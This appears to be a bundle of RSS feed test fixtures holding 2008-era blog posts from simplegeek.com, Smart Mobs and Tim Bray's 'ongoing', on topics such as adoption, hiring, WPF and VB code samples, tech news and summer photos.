      http://www.simplegeek.com/commentview.aspx/4dacf359-7fe1-4b13-9df2-a5aef2eb5862 Software       Insulting in everyway http://www.simplegeek.com/permalink.aspx/dac4bdad-9696-468e-bba6-9d5f54fed3bc http://www.simplegeek.com/permalink.aspx/dac4bdad-9696-468e-bba6-9d5f54fed3bc Fri, 09 May 2008 10:39:31 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> Some ignorant TV producers decided to have a "Best Mom" competition where they commited a major faux pas. They classified mothers of adopted children as a "Non-Mom". </p> <p> It is amazing to me that in this day and age that anyone would be so blatantly insulting. As someone who has been going down the path to adopt, I must say that this is the first major incident I have encountered where I felt so much in a minority. </p> <p> I generally don't participate in letter writing campaigns or anything like this, but I feel compelled to at least send an email to this company and let them know that this is not acceptable. </p> <p> I'm not asking anyone else to participate in this, but if you are looking for contact information, here it is: </p> <p> AFM TV LLC. 11444<br /> West Olympic blvd, 10th Floor <br /> Los Angeles, CA 90064 </p> <p> <a href="mailto:info@americasfavoritemom.com">info@americasfavoritemom.com</a> </p> <p> 800-225-7435 </p> <p> And, for those of you that want to see the original post: </p> <p> This is <a href="http://www.americasfavoritemom.com/mothers-day-2008/static/semiFinalists">insulting in everyway</a> </p> </body>

      Some ignorant TV producers decided to have a "Best Mom" competition where they commited a major faux pas. They classified mothers of adopted children as a "Non-Mom".

      It is amazing to me that in this day and age that anyone would be so blatantly insulting. As someone who has been going down the path to adopt, I must say that this is the first major incident I have encountered where I felt so much in a minority.

      I generally don't participate in letter writing campaigns or anything like this, but I feel compelled to at least send an email to this company and let them know that this is not acceptable.

      I'm not asking anyone else to participate in this, but if you are looking for contact information, here it is:

      AFM TV LLC. 11444
      West Olympic blvd, 10th Floor
      Los Angeles, CA 90064

      info@americasfavoritemom.com

      800-225-7435

      And, for those of you that want to see the original post:

      This is insulting in everyway

      http://www.simplegeek.com/commentview.aspx/dac4bdad-9696-468e-bba6-9d5f54fed3bc Personal Life       Yep, still hiring http://www.simplegeek.com/permalink.aspx/0ede0a2a-c8a4-4fb3-affc-543f72c974fa http://www.simplegeek.com/permalink.aspx/0ede0a2a-c8a4-4fb3-affc-543f72c974fa Tue, 29 Apr 2008 21:35:46 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> Doug wrote up posts about a bunch of our new jobs - both in the <a href="http://douglaspurdy.com/2008/04/29/new-languages-compilers/">languages </a>space and our <a href="http://douglaspurdy.com/2008/04/29/emacsnet/">text editor </a>project. Of course, he neglected to mention a bunch of our UX projects, but that may be because we don't have an external link yet. </p> <p> The key thing; if you want to work on incredibly cool technology with a great team (I'm just happy they keep me around) you should think about coming on board. </p> </body>

      Doug wrote up posts about a bunch of our new jobs - both in the languages space and our text editor project. Of course, he neglected to mention a bunch of our UX projects, but that may be because we don't have an external link yet.

      The key thing; if you want to work on incredibly cool technology with a great team (I'm just happy they keep me around) you should think about coming on board.

      http://www.simplegeek.com/commentview.aspx/0ede0a2a-c8a4-4fb3-affc-543f72c974fa Software       Blog http://www.simplegeek.com/permalink.aspx/1ba7327a-6a52-45a0-b0c6-be9700ed42ad http://www.simplegeek.com/permalink.aspx/1ba7327a-6a52-45a0-b0c6-be9700ed42ad Tue, 29 Apr 2008 21:32:28 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> Blog software is broken (permalinks don't work anymore, etc.) </p> <p> I'm months behind posting the source code for my book </p> <p> Sorry. </p> </body>

      Blog software is broken (permalinks don't work anymore, etc.)

      I'm months behind posting the source code for my book

      Sorry.

      http://www.simplegeek.com/commentview.aspx/1ba7327a-6a52-45a0-b0c6-be9700ed42ad Misc       Growing http://www.simplegeek.com/permalink.aspx/91cab70b-2675-4234-a462-5f0939164fee http://www.simplegeek.com/permalink.aspx/91cab70b-2675-4234-a462-5f0939164fee Wed, 26 Dec 2007 19:58:06 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> My team is growing again... this time we are looking for people to work on a <a href="http://www.douglasp.com/blog/2007/12/27/EmacsNet.aspx">new tool</a>. Want to come help? </p> </body>

      My team is growing again... this time we are looking for people to work on a new tool. Want to come help?

      http://www.simplegeek.com/commentview.aspx/91cab70b-2675-4234-a462-5f0939164fee Software       Happy Windows Day! http://www.simplegeek.com/permalink.aspx/85484be3-42b1-4926-94b0-603efc80ca94 http://www.simplegeek.com/permalink.aspx/85484be3-42b1-4926-94b0-603efc80ca94 Sat, 22 Dec 2007 17:02:49 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> In keeping with tradition, another <a href="http://channel9.msdn.com/ShowPost.aspx?PostID=367997 ">really bad job of singing</a>. </p> <p> <iframe src="http://channel9.msdn.com/EmbedVideo.aspx?PostID=367997" frameborder="0" width="320" scrolling="no" height="301"> </iframe> </p> </body>

      In keeping with tradition, another really bad job of singing.

      http://www.simplegeek.com/commentview.aspx/85484be3-42b1-4926-94b0-603efc80ca94 Misc       Microsoft Company Store has Essential WPF in stock! http://www.simplegeek.com/permalink.aspx/de4173f3-03d7-48be-9f28-8c5530dbdcbf http://www.simplegeek.com/permalink.aspx/de4173f3-03d7-48be-9f28-8c5530dbdcbf Wed, 19 Dec 2007 06:06:03 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> Pretty cool, the Microsoft Company Store has started stocking 3rd party books, which fortunately includes my book. Wahoo! </p> <p> So, if you are a Microsoft employee, swing on by the co-store and pickup a copy today (or two)! </p> </body>

      Pretty cool, the Microsoft Company Store has started stocking 3rd party books, which fortunately includes my book. Wahoo!

      So, if you are a Microsoft employee, swing on by the co-store and pickup a copy today (or two)!

      http://www.simplegeek.com/commentview.aspx/de4173f3-03d7-48be-9f28-8c5530dbdcbf Programming Avalon       Chapter 1 of Essential WPF code posted http://www.simplegeek.com/permalink.aspx/584b2b9c-668f-497b-b017-63b9901bb5a4 http://www.simplegeek.com/permalink.aspx/584b2b9c-668f-497b-b017-63b9901bb5a4 Sun, 18 Nov 2007 13:19:50 GMT <body xmlns="http://www.w3.org/1999/xhtml"> I've posted the <a href="http://www.simplegeek.com/book/chapter-1.zip">Chapter 1 code samples</a>. I'll also get this posted up to the "official" site soon.</body> I've posted the Chapter 1 code samples. I'll also get this posted up to the "official" site soon. http://www.simplegeek.com/commentview.aspx/584b2b9c-668f-497b-b017-63b9901bb5a4 Programming Avalon Want to change the world? http://www.simplegeek.com/permalink.aspx/b8c59476-8997-4846-be3a-8153f5e7a45b http://www.simplegeek.com/permalink.aspx/b8c59476-8997-4846-be3a-8153f5e7a45b Wed, 14 Nov 2007 21:43:08 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> <a href="http://www.douglasp.com/blog/2007/11/15/MyTeamIsHiring.aspx">Doug has opened the flood gates for our team</a>... As <a href="http://www.pluralsight.com/blogs/dbox/archive/2007/11/14/49154.aspx">Don said</a>, we have a small team with 1 month milestones, no traditional roles (everyone codes, writes specs, tests, talks with customers - everything)... We have to be a little vague on what we are working on, but I can say that I'm having a lot of fun... </p> </body>

      Doug has opened the flood gates for our team... As Don said, we have a small team with 1 month milestones, no traditional roles (everyone codes, writes specs, tests, talks with customers - everything)... We have to be a little vague on what we are working on, but I can say that I'm having a lot of fun...

      http://www.simplegeek.com/commentview.aspx/b8c59476-8997-4846-be3a-8153f5e7a45b WinFX       Just to sure you noticed... http://www.simplegeek.com/permalink.aspx/6eb2aa68-12be-401b-bb5f-dc46225701be http://www.simplegeek.com/permalink.aspx/6eb2aa68-12be-401b-bb5f-dc46225701be Sun, 11 Nov 2007 20:13:09 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> In case you missed the significance of the <a href="http://www.simplegeek.com/PermaLink.aspx/2f09a4b6-e89b-45d2-8d9a-3a2275f7cc1e">last snippet of code</a>... </p> <ol> <li> VB supports "relaxed delegates" - so you can drop the "sender As Object, e As EventArgs" from simple delegates</li> <li> VB's Handles syntax makes wiring events much simpler (they don't get mixed up in your markup)&#160; 'OK, this is an old feature, but I still love it</li> <li> XML literal syntax is pretty amazing. I find a few frustrations with it (I which that nested literals inherited the namespaces), but it lends itself to some very nice code</li> </ol> <p> I'm spending a lot more time with VB lately, the new VB features are awesome. Of course, I've started to see some rumblings of future features, and it's only getting better. </p> </body>

      In case you missed the significance of the last snippet of code...

      1. VB supports "relaxed delegates" - so you can drop the "sender As Object, e As EventArgs" from simple delegates
      2. VB's Handles syntax makes wiring events much simpler (they don't get mixed up in your markup)  'OK, this is an old feature, but I still love it
      3. XML literal syntax is pretty amazing. I find a few frustrations with it (I which that nested literals inherited the namespaces), but it lends itself to some very nice code

      I'm spending a lot more time with VB lately, the new VB features are awesome. Of course, I've started to see some rumblings of future features, and it's only getting better.

      http://www.simplegeek.com/commentview.aspx/6eb2aa68-12be-401b-bb5f-dc46225701be WinFX       Congrats to VB http://www.simplegeek.com/permalink.aspx/2f09a4b6-e89b-45d2-8d9a-3a2275f7cc1e http://www.simplegeek.com/permalink.aspx/2f09a4b6-e89b-45d2-8d9a-3a2275f7cc1e Sun, 11 Nov 2007 20:07:33 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> Looks like Visual Studio 2008 and Visual Basic 9 (and lots of other fun stuff) are going to <a href="http://blogs.msdn.com/somasegar/archive/2007/11/05/teched-developer-in-europe.aspx">RTM soon</a>. </p> <p> Very cool... I'm starting to see a lot of possibilities with VB given code like this: </p> <p class="code"> Imports System.Windows.Markup </p> <p class="code"> Class Window1<br /> &#160;&#160;&#160; Sub OnLoaded() Handles Me.Loaded<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160; Dim n As Integer() = {1, 2, 3, 4} </p> <p class="code"> &#160;&#160;&#160;&#160;&#160;&#160;&#160; Content = _<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Parse( _<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;StackPanel xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation'&gt;<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;%= _<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; From i _<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; In n Select _<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;Button xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation'&gt;<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Button #&lt;%= i %&gt;<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;/Button&gt; _<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; %&gt;<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; &lt;/StackPanel&gt;)<br /> &#160;&#160;&#160; End Sub </p> <p class="code"> &#160;&#160;&#160; Function Parse(ByVal x As XElement) As Object<br /> &#160;&#160;&#160;&#160;&#160;&#160;&#160; Return XamlReader.Load(x.CreateReader())<br /> &#160;&#160;&#160; End Function<br /> End Class<br /> </p> </body>

      Looks like Visual Studio 2008 and Visual Basic 9 (and lots of other fun stuff) are going to RTM soon.

      Very cool... I'm starting to see a lot of possibilities with VB given code like this:

      Imports System.Windows.Markup

      Class Window1
          Sub OnLoaded() Handles Me.Loaded
              Dim n As Integer() = {1, 2, 3, 4}

              Content = _
                  Parse( _
                      <StackPanel xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation'>
                          <%= _
                              From i _
                              In n Select _
                              <Button xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation'>
                                  Button #<%= i %>
                              </Button> _
                          %>
                      </StackPanel>)
          End Sub

          Function Parse(ByVal x As XElement) As Object
              Return XamlReader.Load(x.CreateReader())
          End Function
      End Class

      http://www.simplegeek.com/commentview.aspx/2f09a4b6-e89b-45d2-8d9a-3a2275f7cc1e WinFX       Finally, it starts to tip http://www.simplegeek.com/permalink.aspx/73e44074-5c21-4808-b6be-29452a555397 http://www.simplegeek.com/permalink.aspx/73e44074-5c21-4808-b6be-29452a555397 Fri, 02 Nov 2007 06:26:45 GMT <body xmlns="http://www.w3.org/1999/xhtml"> <p> I've been frustrated over the lack of convergence of prerecorded high definition video in&#160;a portable and broadly distributable format&#160;- otherwise known as HD DVD vs. BluRay. </p> <p> Looks like there has been a big shift in the market,&#160;<a href="http://www.betanews.com/article/Kmart_Dumps_Bluray_Due_to_Price/1193854397">Kmart is no longer carrying BluRay</a>. </p> <p> [fixed type, it was Kmart mentioned in the article] </p> </body>

      I've been frustrated over the lack of convergence of prerecorded high definition video in a portable and broadly distributable format - otherwise known as HD DVD vs. BluRay.

      Looks like there has been a big shift in the market, Kmart is no longer carrying BluRay.

      [fixed type, it was Kmart mentioned in the article]

      http://www.simplegeek.com/commentview.aspx/73e44074-5c21-4808-b6be-29452a555397 My Hobbies       Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.smartmobs.com-index.rdf0000664000175000017500000011405712653701626026210 0ustar janjan Smart Mobs http://www.smartmobs.com Just another WordPress weblog Tue, 22 Jul 2008 07:31:54 +0000 http://wordpress.org/?v=2.5.1 en http://creativecommons.org/licenses/by-nc-sa/2.0/ Care-O-Bot, your future robotic butler http://feeds.feedburner.com/~r/SmartMobs/~3/342314928/ http://www.smartmobs.com/2008/07/22/care-o-bot-your-future-robotic-butler/#comments Tue, 22 Jul 2008 07:31:54 +0000 Roland Piquepaille http://www.smartmobs.com/?p=13336 German researchers from the Fraunhofer Institute have introduced their third generation of household robots, the Care-O-Bot 3. The previous generations of this mobile robot assistant were designed to assist elderly or handicapped people in daily life activities. But now, this new 1.45 meter-high robot is intended to be an artificial assistant always at your service, even if you’re young and in good health. It moves on 4 spherical wheels in any direction and has a large array of sensors to ensure it will never hurt you. With it 3-finger hand, it can handle a bottle of apple juice or champagne put on its front tray. It will then wait until you ask it to pour a glass for you. Sorry, I don’t know when it becomes commercially available. But read more…

      Links: ZDNet, Primidi

      ]]>       http://www.smartmobs.com/2008/07/22/care-o-bot-your-future-robotic-butler/feed/ http://www.smartmobs.com/2008/07/22/care-o-bot-your-future-robotic-butler/       Rheingoldian Mashup: A Technosocial Koan, 1977-2008 http://feeds.feedburner.com/~r/SmartMobs/~3/341845956/ http://www.smartmobs.com/2008/07/21/rheingoldian-mashup-a-technosocial-koan-1977-2008/#comments Mon, 21 Jul 2008 20:05:41 +0000 Howard Rheingold http://www.smartmobs.com/?p=13335 An experiment: This brief video mashes up remarks I made in previous episodes to convey a meta-message: From The Martian Report (1977) to The WELL(1989) to TED (2005) to the New Media Consortium (2007) to Jim Lehrer’s 2008 Newshour documentary, By The People, to my recent remarks to the Korean people.

      ]]>       http://www.smartmobs.com/2008/07/21/rheingoldian-mashup-a-technosocial-koan-1977-2008/feed/ http://www.smartmobs.com/2008/07/21/rheingoldian-mashup-a-technosocial-koan-1977-2008/       Biodiversity and the impact of the crowd http://feeds.feedburner.com/~r/SmartMobs/~3/341597444/ http://www.smartmobs.com/2008/07/21/biodiversity-and-the-impact-of-the-crowd/#comments Mon, 21 Jul 2008 14:43:10 +0000 Judy Breck http://www.smartmobs.com/?p=13334 This may seem like a stretch, but the wisdom of the crowd certainly must operate from some principle of nature. Today I ran across a discovery that the dilution of bird populations has an effect on the transmission of the West Nile Virus. The virus is spread by mosquitoes, who infect birds. The more diverse the population of birds, it turns out, the less effective the transmission. The article reporting this in the Public Library of Science includes this:

      We found there is lower incidence of human WNV in eastern US counties that have greater avian (viral host) diversity. This pattern exists when examining diversity-disease relationships both before WNV reached the US (in 1998) and once the epidemic was underway (in 2002). The robust disease-diversity relationships confirm that the dilution effect can be observed in another emerging infectious disease and illustrate an important ecosystem service provided by biodiversity, further supporting the growing view that protecting biodiversity should be considered in public health and safety plans.

      Are mobs smarter when they are diluted and diverse? My guess is the mosquitoes think so.

      ]]>       http://www.smartmobs.com/2008/07/21/biodiversity-and-the-impact-of-the-crowd/feed/ http://www.smartmobs.com/2008/07/21/biodiversity-and-the-impact-of-the-crowd/       For teens the future is mobile http://feeds.feedburner.com/~r/SmartMobs/~3/341581274/ http://www.smartmobs.com/2008/07/21/for-teens-the-future-is-mobile/#comments Mon, 21 Jul 2008 14:19:54 +0000 Gerrit Visser http://www.smartmobs.com/?p=13333 Stefanie Olsen on CNet News: Marketers convened recently to figure out how best to reach teens on the Internet. The answer: It’s all about the mobile phone.

      “The iPhone is just the beginning of the all-in-one device. Uses of mobile devices will expand to include all kinds of bar code applications and prepaid debit card payment methods,” said Bill Carter, a partner at Fuse, who presented the findings here at the YPulse 2008 National Mashup, a two-day conference on teens and technology”

      “That’s likely why geographic ad targeting to teens via the phone is expected to explode in the coming years. Right now, mobile phone providers analyze an estimated 4 billion Internet Protocol addresses to provide street-level targeting to consumers.”

      ]]>       http://www.smartmobs.com/2008/07/21/for-teens-the-future-is-mobile/feed/ http://www.smartmobs.com/2008/07/21/for-teens-the-future-is-mobile/       Roland’s Sunday Smart Trends #224 http://feeds.feedburner.com/~r/SmartMobs/~3/340546692/ http://www.smartmobs.com/2008/07/20/rolands-sunday-smart-trends-224/#comments Sun, 20 Jul 2008 09:52:16 +0000 Roland Piquepaille http://www.smartmobs.com/?p=13332 Pope’s message goes hi-tech in Australia

      Pope Benedict XVI took a new hi-tech road to spreading his message Tuesday, sending a mobile phone text to pilgrims attending World Youth Day celebrations in Australia, organisers said. “Young friend, God and his people expect much from u because u have within you the Fathers supreme gift: the Spirit of Jesus - BXVI,” read the first of the daily texts.
      Source: AFP, July 14, 2008

      For teens, the future is mobile

      Marketers convened here this week to figure out how best to reach teens on the Internet. The answer: It’s all about the mobile phone. Advertisers are clamoring to reach teens in digital environments because that’s where they’re spending much of their time–either online, with cell phones or playing video games. What’s more, teens wield an estimated $200 billion annually in discretionary spending.
      Source: Stefanie Olsen, CNET’s Digital Media blog, July 15, 2008

      Opening Up Microblogging

      The first open-source challenge to the pioneering microblogging site Twitter launched earlier this month. Identi.ca, built using open-source software Laconica, was started by the Montreal-based company Control Yourself. The site is getting attention from microbloggers who hope that Identi.ca will improve upon Twitter, which has been plagued by problems.
      Source: Erica Naone, Technology Review, July 17, 2008

      Cyber-capos: How cybercriminals mirror the mafia and businesses

      Cybercrime, the harvesting and sale of credit card and other data for online fraud and theft, is a “shadow economy” that mimics the real business world in its practices and the mafia in its structure, according to a new report from security firm Finjan. “The current cybercrime organizations bear an uncanny resemblance to organized crime organizations such as ‘La Cosa Nostra,’” concludes Finjan’s Malicious Code Research Center’s Web Security Trends Report for the second-quarter of 2008.
      Source: Elinor Mills, CNET’s Security blog, July 16, 2008

      US sees first airliner flight with laser defences

      US Department of Homeland Security (DHS) trials of laser missile-dazzler defences on airliners have passed another milestone, with armaments maker BAE Systems announcing that its “JetEye” gear has made its first scheduled passenger flight. The JetEye-equipped plane, a Boeing 767 operated by American Airlines, made a routine trip from New York to Los Angeles.
      Two further American 767s will also be equipped with JetEye for the trial, which is designed to find out the effects of the gear on airline operations and finances. The planes will fly with the new equipment until 2009.
      Source: Lewis Page, The Register, July 17, 2008

      Smart clothes revolutionize attire

      Imagine an outfit that fits perfectly and eliminates the worry of sweat stains and body odor. Oh, and it plays your favorite music. It’s an idea that’s not far off in the future. New fabrics are being developed that can regulate body temperature, conduct electricity, play music, fight bacteria and odor, repel insects, soothe dry skin and have the capacity to custom shape themselves for your body. These new “smart fabrics” have medical and military purposes as well.
      Source: Jessica Franklin, The Auburn Plainsman, Auburn University, Alabama, July 17, 2008

      iTunes allows radiologists to save, sort and search personal learning files

      iTunes has the ability to manage and organize PDF files just as easy as music files, allowing radiologists to better organize their personal files of articles and images, according to a recent study conducted by researchers at Renji Hospital and Shanghai Jiaotong University School of Medicine in Shanghai, China.
      Source: American Roentgen Ray Society news release, July 18, 2008

      A book with 90,000 authors

      Among the unlikelier announcements made at Wikipedia’s conference in Alexandria, Egypt, was the bold claim on Friday that the online encyclopedia was about to make history in print publishing: creating the book with the most credited individual authors ever — about 90,000.
      Source: Noam Cohen, The New York Times, July 19, 2008

      ]]>       http://www.smartmobs.com/2008/07/20/rolands-sunday-smart-trends-224/feed/ http://www.smartmobs.com/2008/07/20/rolands-sunday-smart-trends-224/       Twitter a Micro-blogging tool? http://feeds.feedburner.com/~r/SmartMobs/~3/339646158/ http://www.smartmobs.com/2008/07/18/twitter-a-micro-blogging-tool/#comments Sat, 19 Jul 2008 05:58:01 +0000 Gerrit Visser http://www.smartmobs.com/?p=13331 On Mashable (twitterer/blogger) Steven Hodson argues that ‘Twitter is Not a Micro-Blogging Tool’. In Steven’s view Twitter “is no different than another service that we have had for a very long time on the Web and it’s called Internet Messenger or Gtalk or any number of messenger type services“.

      This qualification is partly confirmed by Scott Hanselman’s musing explaining why he hasn’t used Instant Messaging for anything significant in months. Read in ‘Twitter and The Uselessfulness of Micro-blogging’ what elements make Twitter special.

      What’s your opinion about ‘Twitter as micro-blogging’ tool? Are you (like Steven) ‘insulted that Twitter is even considered to be in the same field as blogs or even micro-blogs’??

      ]]>       http://www.smartmobs.com/2008/07/18/twitter-a-micro-blogging-tool/feed/ http://www.smartmobs.com/2008/07/18/twitter-a-micro-blogging-tool/       This is Save Our Butterflies Week http://feeds.feedburner.com/~r/SmartMobs/~3/339329210/ http://www.smartmobs.com/2008/07/18/this-is-save-our-butterflies-week/#comments Fri, 18 Jul 2008 20:53:10 +0000 Judy Breck http://www.smartmobs.com/?p=13330

      In the UK, 19-26 July is Save Our Butterflies Week. The positive impact for the little insects that will result from the promotion through the Internet of this focus week is something very new in the relationship of us humans with other species. The homepage of Save Our Butterflies Week links to a cluster of resources for human pro-butterfly activity and information about the creatures. It is also a strong call to action to save the butterflies, complete with specific instructions on several ways to help. By blogging this description of the project, I am likely to inform someone who will go to the page and end up saving some butterflies. In assessing the smart mob principles that are changing the real world, conservation websites should be included as important players.

      ]]>       http://www.smartmobs.com/2008/07/18/this-is-save-our-butterflies-week/feed/ http://www.smartmobs.com/2008/07/18/this-is-save-our-butterflies-week/       Facebook activism or How Facebook can help activists http://feeds.feedburner.com/~r/SmartMobs/~3/339288017/ http://www.smartmobs.com/2008/07/18/facebook-activism-or-how-facebook-can-help-activists/#comments Fri, 18 Jul 2008 19:56:06 +0000 Gerrit Visser http://www.smartmobs.com/?p=13329 Choconancy pointed us to this ‘Digiactive introduction to Facebook Activism’ by Dan Schultz Lead Researcher of DigiActive ‘A world of digital activists’.

      The social basis of activism explains why Facebook, an increasingly popular social networking site, is a natural companion for tech-savvy organizers. Because of the site’s massive user base and its free tools, Facebook is almost too attractive to pass up. However, the site has its flaws and is not a guarantee of organizing success. This guide is written to provide some insights into what works, what does not work, and how best to use Facebook to advance your movement.

      ]]>       http://www.smartmobs.com/2008/07/18/facebook-activism-or-how-facebook-can-help-activists/feed/ http://www.smartmobs.com/2008/07/18/facebook-activism-or-how-facebook-can-help-activists/       68 days until Picnic 08 http://feeds.feedburner.com/~r/SmartMobs/~3/339123213/ http://www.smartmobs.com/2008/07/18/68-days-until-picnic-08/#comments Fri, 18 Jul 2008 16:10:51 +0000 Gerrit Visser http://www.smartmobs.com/?p=13328 From 24 to 26 September 2008, thousands of creative minds from all over the world will come together in Amsterdam for the third PICNIC.

      The main theme of PICNIC’08 is Collaborative Creativity in its many guises. We will look at new and connected forms of intelligence and creativity, from the fields of entertainment, science, the arts and business.

      Here is a programme by day overview of the conference. Also keep an eye on this weblog for the latest news about PICNIC

      ]]>       http://www.smartmobs.com/2008/07/18/68-days-until-picnic-08/feed/ http://www.smartmobs.com/2008/07/18/68-days-until-picnic-08/       Using mobiles to share stories in an Indian village http://feeds.feedburner.com/~r/SmartMobs/~3/338948179/ http://www.smartmobs.com/2008/07/18/using-mobiles-to-share-stories-in-an-indian-village/#comments Fri, 18 Jul 2008 12:06:55 +0000 Gerrit Visser http://www.smartmobs.com/?p=13327 Matt Jones and David Frohlich of the Engineering and Physical Sciences Research Council (EPSRC) developed a StoryBank for sharing stories across the digital divide…

      (via Vodafone receiver)

      The basic research objectives involved are:

      1. To explore the value of novel forms of audiovisual stories for sharing local information in a development context. This includes the use of the system or content by remote developer communities as well as local originating ones.
      2. To identify ways of indexing, storing, retrieving and presenting story content that match the needs of different kinds of users from the originating community and beyond.
      3. To develop encoding and delivery mechanisms for story content that are device-scalable and allow multi-platform capture and playback.

      ]]>       http://www.smartmobs.com/2008/07/18/using-mobiles-to-share-stories-in-an-indian-village/feed/ http://www.smartmobs.com/2008/07/18/using-mobiles-to-share-stories-in-an-indian-village/       http://api.feedburner.com/awareness/1.0/GetFeedData?uri=SmartMobs             Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.tbray.org-ongoing-ongoing.rss0000664000175000017500000013365112653701626027357 0ustar janjan ongoing http://www.tbray.org/ongoing/ rsslogo.jpg /favicon.ico 2008-07-21T22:10:32-07:00 Tim Bray ongoing fragmented essay by Tim Bray All content written by Tim Bray and photos by Tim Bray Copyright Tim Bray, some rights reserved, see /ongoing/misc/Copyright Generated from XML source code using Perl, Expat, Emacs, Mysql, Ruby, Java, and ImageMagick. Industrial-strength technology, baby. SPotD: Shoes http://www.tbray.org/ongoing/When/200x/2008/07/21/Shoes 2008-07-21T02:00:00-07:00 2008-07-21T22:10:12-07:00
      There’s nothing wrong with kids having some weeks of flat time in summer with an empty schedule; they’ll look back on those days fondly. There’s also nothing wrong with the odd soccer or basketball camp. I rather enjoy dropping the boy off at these and watching the other parents, who appear, pre-9-AM on a weekday, in a remarkable variety of apparel and presentations. I caught one of my recent faves for this summer day’s photo.

      There’s nothing wrong with kids having some weeks of flat time in summer with an empty schedule; they’ll look back on those days fondly. There’s also nothing wrong with the odd soccer or basketball camp. I rather enjoy dropping the boy off at these and watching the other parents, who appear, pre-9-AM on a weekday, in a remarkable variety of apparel and presentations. I caught one of my recent faves for this summer day’s photo.

      Mom fixes kids’ shoes pre-soccer-camp

      This woman was dressed for work and I thought her shoes extremely superior; she was fearless striking off across the soft grass in them, too. It seemed poetic justice somehow that she got caught up in shoe maintenance.

       SPotD: Curtainshadows http://www.tbray.org/ongoing/When/200x/2008/07/20/Shadows 2008-07-20T02:00:00-07:00 2008-07-20T23:27:24-07:00
      We spend a lot of time on our back porch this time of year. Unfortunately, the beautiful plum tree that kept the setting sun from boiling our eyeballs died, and until the replacement gets big enough, we’ve been hoisting bedsheets on the west end of the porch roof at suppertime. Which can make for some interesting shadowplay, as in the Summer Picture for today.

      We spend a lot of time on our back porch this time of year. Unfortunately, the beautiful plum tree that kept the setting sun from boiling our eyeballs died, and until the replacement gets big enough, we’ve been hoisting bedsheets on the west end of the porch roof at suppertime. Which can make for some interesting shadowplay, as in the Summer Picture for today.

      Porch shadows on blue bedsheet

      Actually, just this afternoon Lauren ran out of patience and put up a nice thick patterned curtain on real actual hooks.

       SPotD: Fireworks http://www.tbray.org/ongoing/When/200x/2008/07/19/Fireworks 2008-07-19T02:00:00-07:00 2008-07-19T12:45:16-07:00
      Today’s summer picture is of some of the fireworks after the ball game featured yesterday. They weren’t big-league, but it isn’t a big-league park, so you get to sit pretty close to them.

      Today’s summer picture is of some of the fireworks after the ball game featured yesterday. They weren’t big-league, but it isn’t a big-league park, so you get to sit pretty close to them.

      July First fireworks at Nat Bailey Stadium

      Before the game I went looking for advice on photographing fireworks and it seems that it’s all a matter of taste, except for one thing: use a tripod. For what it’s worth, these are with the ordinary 40mm prime lens at f8 and using the “B” setting to keep the shutter open for quite a while. Next time I’ll try shooting with a wider-angle lens.

       SPotD: Ball Game http://www.tbray.org/ongoing/When/200x/2008/07/18/Baseball 2008-07-18T02:00:00-07:00 2008-07-18T16:32:21-07:00
      On July first, we celebrated Canada and my son’s birthday by going to the ball game and fireworks. It was a warm, warm evening. The Summer Photo for Today is an outfielder and a scoreboard.

      On July first, we celebrated Canada and my son’s birthday by going to the ball game and fireworks. It was a warm, warm evening. The Summer Photo for Today is an outfielder and a scoreboard.

      Outfielder and scoreboard

      Yeah, the home team got thumped. But the fireworks were pretty good.

       Mobility Blues http://www.tbray.org/ongoing/When/200x/2008/07/18/Mobile-Net-Gloom 2008-07-18T02:00:00-07:00 2008-07-18T14:17:01-07:00
      These days, I’m gloomier and gloomier about the prospects for the mobile Internet; you know, the one you access through the sexy gizmo in your pocket, not the klunky old general-purpose computer on your desk.

      These days, I’m gloomier and gloomier about the prospects for the mobile Internet; you know, the one you access through the sexy gizmo in your pocket, not the klunky old general-purpose computer on your desk.

      We’ve all heard about the glowing future; Jonathan is particularly good at telling it; “There are more mobile phones sold every day than computers sold every year, etc.” (OK, I’m exaggerating, but that’s the thrust). And indeed there are big parts of the world where a networked computer is in the economic reach of very few, but a cellphone is attainable to many.

      The Legacy Problem

